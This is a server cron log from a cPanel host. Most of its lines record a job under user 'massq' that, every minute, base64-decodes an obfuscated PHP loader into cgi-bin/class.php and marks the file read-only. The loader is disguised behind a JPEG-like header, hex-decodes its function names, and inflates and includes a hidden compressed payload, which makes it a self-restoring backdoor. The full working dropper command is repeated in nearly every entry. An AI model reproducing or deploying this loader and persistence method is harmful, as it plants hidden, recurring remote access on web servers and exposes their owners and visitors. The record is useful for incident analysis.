Nov 13 08:01:01 server CROND[7820]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:01:01 server run-parts(/etc/cron.hourly)[7819]: starting 0anacron
Nov 13 08:01:01 server run-parts(/etc/cron.hourly)[7833]: finished 0anacron
Nov 13 08:02:01 server CROND[8784]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:03:01 server CROND[9726]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:04:01 server CROND[10590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:05:02 server CROND[11284]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:05:02 server CROND[11286]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 08:05:02 server CROND[11288]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:05:02 server CROND[11290]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 13 08:05:02 server CROND[11287]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:06:01 server CROND[12346]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:07:01 server CROND[13219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:08:01 server CROND[14073]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:09:01 server CROND[14807]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 08:09:01 server CROND[14808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:10:01 server CROND[15692]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 08:10:01 server CROND[15696]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 08:10:01 server CROND[15698]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 08:10:01 server CROND[15697]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:11:01 server CROND[16699]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:12:01 server CROND[17573]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 08:12:01 server CROND[17574]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 08:13:01 server CROND[18321]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
